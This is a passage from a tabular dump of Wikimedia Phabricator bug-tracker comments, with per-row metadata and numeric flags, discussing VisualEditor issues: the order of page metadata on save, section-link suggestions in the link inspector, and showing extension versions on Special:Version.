+In the meantime, we serialize metadata wherever the VE places it in the DOM.",,,1373400711,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+240711,VisualEditor: Place page meta-data in expected order,"I've re-titled this bug to ""Provide a way for Parsoid to know that some types of some content on some wikis go after the meta-data, not in the body of the document"", which I think captures the 'ask' here most generally. I believe that currently, Parsoid puts all content first, followed by meta-data in the order ""Magic words (e.g. DEFAULTSORT) > Categories > Language links"", which is MediaWiki standard style.
+
+The problem here is not specifically ""stub templates"", but the general idea that some items of content - in this case, on one wiki, a sub-type of template that is trivially-identifiable to humans but not necessarily so for software - should have its own special ordering when the page is re-serialised. The explanation for why this (relatively new?) policy change for enwiki seems to be absent, unlike for the other elements; it adds complexity without justifying why, as far as I can see.
+
+I think it is unlikely that we will change things so that Parsoid has an understanding of what kinds of content it is dealing with, much less a concept of per-wiki settings for where the content should be positioned. Just because the English Wikipedia likes things one way doesn't mean we should impose those standards on everyone else - for example, another wiki might like their categories at the top, or their semi-structured data template (like PERSONDATA) at the very bottom, or… any one of countless other possible orderings that don't effect readers. Remember that VisualEditor is currently available on 300 wikis, and is being developed for all ~900 Wikimedia wikis, the ~300,000 Wikia wikis, and numerous other wikis as well.
+
+This is not saying that this request is impossible, that the barriers are insurmountable, that it will never be done, or that our mind is set for ever on this matter. However, coming up with a system for specifying this on a per-wiki basis, and justifying us spending (significant) developer time adding complexity and confusion to the code and the user interfaces is going to be challenging. This is time that would otherwise be spent on fixing bugs, on editing tables, on a better reference dialog, on supporting language variants as used in (e.g.) Chinese. I don't think that we can prioritise this above these other issues; sorry.",,,1373395467,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,True,,,1,,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+240704,VisualEditor: Place page meta-data in expected order,"This is not minor, unless enwiki has agreed to abandon the long-established rules set out in http://en.wikipedia.org/wiki/Wikipedia:Manual_of_Style/Layout#Order_of_sections . I have just added a category to [[Permyak Salty Ears]] (it's a sculpture I was stub-sorting), and it has been put below the stub tag and interwiki link, and not adjacent to two existing categories. 
+
+There are also rules for the top of the article: navigational hatnotes go before anything else. Not in VE. WP:AWB sorts these out misplaced elements as part of ""General fixes""; Twinkle can put a newly-added maintenance tag within the {{tl|multiple issues}} tag. It is very disappointing that VE seems incapable of offering the same level of helpfulness as these existing systems have offered for years.",,,1373371153,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,False,,,1,,0,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+52881,VisualEditor: Link input widget should suggest section links,"When I edited an internal link and pasted in Work_breakdown_structure#Terminal_element as the new link target, the link editor widget thought that it was a new page, because it didn't understand that the # referenced an anchor within that page.
+
+However, that was just a harmless warning - it did work. So I am classifying this as minor severity, because it is merely an incorrect warning message that could confuse editors.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1373173500,1718627142.0,PHID-USER-bug3zrlooz3bdmi4fyl7,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+2358770,VisualEditor: Link input widget should suggest section links,Filed remaining work as T367739,,,1718627142,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,572,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+2321177,VisualEditor: Link input widget should suggest section links,"Test wiki on [[ https://patchdemo.wmflabs.org | Patch demo ]]  by ESanders (WMF) using patch(es) linked to this task was **deleted**:
+
+~~[[ https://patchdemo.wmflabs.org/wikis/dacb60851e/w/ ]]~~",,,1713878088,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,564,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2243394,VisualEditor: Link input widget should suggest section links,"Change 975293 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/VisualEditor@master] Link inspector: Use searchFragments feature in TitleWidget%%%
+https://gerrit.wikimedia.org/r/975293",,,1701967466,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,544,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+2243393,VisualEditor: Link input widget should suggest section links,"Change 975292 **merged** by jenkins-bot:
+%%%[mediawiki/core@master] TitleWidget: Allow searching for section fragments%%%
+https://gerrit.wikimedia.org/r/975292",,,1701967461,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,544,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2236173,VisualEditor: Link input widget should suggest section links,"3 & 4 are fixed. 1 is more complicated as it requires more interaction between VE and this core component (VE needs to override the list of available sections, rather than use an API call). I think that should probably be fixed later.",,,1701100973,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,543,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+2234309,VisualEditor: Link input widget should suggest section links,">>! In T52881#9352286, @gerritbot wrote:
+> Change 976691 had a related patch set uploaded (by Sophivorus; author: Sophivorus):
+> %%%[mediawiki/extensions/ParserFunctions@REL1_39] Backport fix of implicit conversion to int%%%
+> https://gerrit.wikimedia.org/r/976691
+
+Tagged the wrong bug, sorry.",,,1700655480,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,542,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,1
+2234304,VisualEditor: Link input widget should suggest section links,"Change 976691 had a related patch set uploaded (by Sophivorus; author: Sophivorus):
+%%%[mediawiki/extensions/ParserFunctions@REL1_39] Backport fix of implicit conversion to int%%%
+https://gerrit.wikimedia.org/r/976691",,,1700655252,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,542,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+2234132,VisualEditor: Link input widget should suggest section links,"Thanks for the feedback.
+1 sounds useful and should be fixable.
+I think points 2-3 can be addressed later in follow ups.
+4 should be fixed, we should replace underscores when normalising.
+5: if you start typing # immediately you get no page name. Removing the page name could arguably be a Parsoid job, or something we should leave in if the user types it explicitly, but we could remove it locally.",,,1700639837,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,542,,0,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+2231818,VisualEditor: Link input widget should suggest section links,"Really nice UX! 🙂
+Some minor limitations I noted:
+- Added/edited headings in the current editing session are not reachable.
+- Since selecting the target page with directional keys does not fill the text input (what a browser URL bar usually does), in order to link an external section without fully typing the target page name, you have to first add a link to the page name, then edit it to add the fragment.
+- For local page section suggestions, a middle click opens the page in visual editing mode rather than reading mode like for external sections.
+- It does not recognize underscore as space equivalent; so copying the fragment from a URL looks like it is not an existing section.
+- For local sections, the resulting wikitext uselessly adds page name before fragment. (T239847)",,,1700257312,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,541,,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+2231579,VisualEditor: Link input widget should suggest section links,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by ESanders (WMF) using patch(es) linked to this task:
+[[ https://patchdemo.wmflabs.org/wikis/dacb60851e/wiki/Douglas Adams?veaction=edit ]]",,,1700234169,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,541,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2231575,VisualEditor: Link input widget should suggest section links,"Change 975293 had a related patch set uploaded (by Esanders; author: Esanders):
+%%%[mediawiki/extensions/VisualEditor@master] Link inspector: Use searchFragments feature in TitleWidget%%%
+https://gerrit.wikimedia.org/r/975293",,,1700233938,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,541,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+2231572,VisualEditor: Link input widget should suggest section links,"Change 975292 had a related patch set uploaded (by Esanders; author: Esanders):
+%%%[mediawiki/core@master] TitleWidget: Allow searching for section fragments%%%
+https://gerrit.wikimedia.org/r/975292",,,1700233858,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,541,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+1091054,VisualEditor: Link input widget should suggest section links,"When adding links to sections in the current page, the UI may be a third tab in the Link popup (after the ""Search pages"" and ""External link"" tabs) called ""Section link"" (or similar). In this tab, the existing section titles would be listed (possibly in a hierarchical TOC fashion) and clicking on a section would add a link to that section.",,,1529619847,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,259,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0
+708404,VisualEditor: Link input widget should suggest section links,"{T112898} has been fixed but `[[#section|text]]` just inserted is still red (all the same, it displays correctly for links which were already present before loading VisualEditor).",,,1470731559,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,162,,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+240653,VisualEditor: Link input widget should suggest section links,*** Bug 61428 has been marked as a duplicate of this bug. ***,,,1401417280,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,47,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240648,VisualEditor: Link input widget should suggest section links,"(In reply to comment #11)
+> John reports today that ""It used to be possible, in VE, to link to another
+> section of a page (say, Bank#History). Now, when section information is
+> added,
+> in the Link/Hyperlink dialog box, VE just deletes it when the user presses
+> [return] or exits (in any way) that dialog box.""
+
+Noting for posterity that that was bug 53219, which has now been fixed.",,,1377527665,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,8,,1,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,1,1,0,1,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+240643,VisualEditor: Link input widget should suggest section links,"John reports today that ""It used to be possible, in VE, to link to another section of a page (say, Bank#History). Now, when section information is added, in the Link/Hyperlink dialog box, VE just deletes it when the user presses [return] or exits (in any way) that dialog box.""",,,1377170602,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,7,,1,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+240639,VisualEditor: Link input widget should suggest section links,"The VE software has changed (at least a week ago, maybe longer) for this issue. Now pressing [Return] does not remove the ""#Whatever"" text that the user typed, for the section link. So this bug is now primarily a display issue.
+
+(In reply to comment #7)
+> This isn't just a display problem, and it is NOT an enhancement - it's a real
+> defect because editors are unlikely to take the time - as I did - to figure
+> out
+> how to make section links work.
+> 
+> Here's what happens now: The editor finds an article to link to (good UI;
+> much
+> better than the wikitext editor); then he/she starts typing the section link
+> (#whatever). The link name turns red (that's the display issue), and it
+> doesn't
+> suggest section names (that would be a really slick enhancement; if you do
+> this
+> well, people are going to love you). Instead, when the editor is done typing
+> the section information, one of four things can happen:
+> 
+> * The editor presses Enter/Return (per the user guide), and the section
+> information is REMOVED by VE. That is clearly a defect in the software.
+> 
+> * The editor presses the close icon (<) (per the user guide), and the section
+> information is REMOVED by VE. That is clearly a defect in the software.
+> 
+> * The editor clicks somewhere else on the page, and the section information
+> is
+> REMOVED by VE. That is clearly a defect in the software.
+> 
+> * The editor clicks on the area ABOVE the input box, the area containing the
+> word ""Hyperlink"", and VE is happy, and saves the section information. (I'm
+> going to add that to the user guide, but that wouldn't do nearly as much good
+> as changing, in the software, what happens in the first three situations,
+> above.",,,1375822006,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,5,,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+240636,VisualEditor: Link input widget should suggest section links,The suggestion of the sections that can be linked are also requested at it.wp.,,,1375739703,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+240633,VisualEditor: Link input widget should suggest section links,*** Bug 51445 has been marked as a duplicate of this bug. ***,,,1374029473,,PHID-USER-fwlidikyeorzj35hufwu,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240630,VisualEditor: Link input widget should suggest section links,"This isn't just a display problem, and it is NOT an enhancement - it's a real defect because editors are unlikely to take the time - as I did - to figure out how to make section links work.
+
+Here's what happens now: The editor finds an article to link to (good UI; much better than the wikitext editor); then he/she starts typing the section link (#whatever). The link name turns red (that's the display issue), and it doesn't suggest section names (that would be a really slick enhancement; if you do this well, people are going to love you). Instead, when the editor is done typing the section information, one of four things can happen:
+
+* The editor presses Enter/Return (per the user guide), and the section information is REMOVED by VE. That is clearly a defect in the software.
+
+* The editor presses the close icon (<) (per the user guide), and the section information is REMOVED by VE. That is clearly a defect in the software.
+
+* The editor clicks somewhere else on the page, and the section information is REMOVED by VE. That is clearly a defect in the software.
+
+* The editor clicks on the area ABOVE the input box, the area containing the word ""Hyperlink"", and VE is happy, and saves the section information. (I'm going to add that to the user guide, but that wouldn't do nearly as much good as changing, in the software, what happens in the first three situations, above.",,,1373991618,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+240625,VisualEditor: Link input widget should suggest section links,Worth noting here the comments on bug 50945 about cases where display text != link text (piped links),,,1373526525,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0
+240617,VisualEditor: Link input widget should suggest section links,*** Bug 51121 has been marked as a duplicate of this bug. ***,,,1373520194,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240610,VisualEditor: Link input widget should suggest section links,"(In reply to comment #3)
+> When reporting the duplicate bug (sorry, this one didn't come up in my
+> search)
+
+Don't worry, it's my fault for not triaging earlier. :-)
+
+> I wondered whether this was related to Bug 33094
+
+I don't believe so (though we should get that fixed soon too, of course).",,,1373518375,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1
+240604,VisualEditor: Link input widget should suggest section links,"When reporting the duplicate bug (sorry, this one didn't come up in my search) I wondered whether this was related to Bug 33094",,,1373476336,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+240596,VisualEditor: Link input widget should suggest section links,*** Bug 51118 has been marked as a duplicate of this bug. ***,,,1373475138,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240592,VisualEditor: Link input widget should suggest section links,"* The link inspector needs to understand that if Foo exists, linking to Foo#Bar isn't a red link
+* Ideally the link inspector should have introspection of articles' sections so that it can suggest which headings to link to
+* This should also work for naked (local) section links - i.e., linking to just #Bar on the local page.",,,1373475114,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+52879,Difficult for users to know what exact version of each extension is running on the cluster,"This bug was cloned from bug 50120.
+
+(In reply to bug 50120 comment #5)
+> We believe that this is now fixed (due to fixes in Parsoid). Please re-open
+> if it recurs.
+
+How do you know what version of VisualEditor or Parsoid is running? Looking at Erik's comment (bug 50120 comment 6), I try to go to [[Special:Version]] to figure out what exact versions of Parsoid and VisualEditor are running (for debugging purposes and to figure out if this problem is still present in the latest bleeding edge code) and I find that Parsoid and VisualEditor are both marked as version 0.1.0. Not quite helpful for debugging. Splitting this issue out.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1373161140,1404841447.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-grvae3imieydt4li7k7h,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,1,1
+240493,Difficult for users to know what exact version of each extension is running on the cluster,"With bug 53972 now fixed, this is now fixed in Beta Labs (see http://en.wikipedia.beta.wmflabs.org/wiki/Special:Version for git hashes against each extension), and for VisualEditor specifically (which was the original locus of this suggestion) it's also available at the bottom of the ""help"" menu.",,,1404841447,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-grvae3imieydt4li7k7h,task_subcomment,,True,c1,3,True,,,53,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,0
+240486,Difficult for users to know what exact version of each extension is running on the cluster,"(In reply to comment #1)
+> Could we switch on the configuration we have on beta labs for Special:Version
+> for other wikis? (Perhaps as a page option - ?showversions=true or whatever,
+> so as to avoid confusing users.)
+
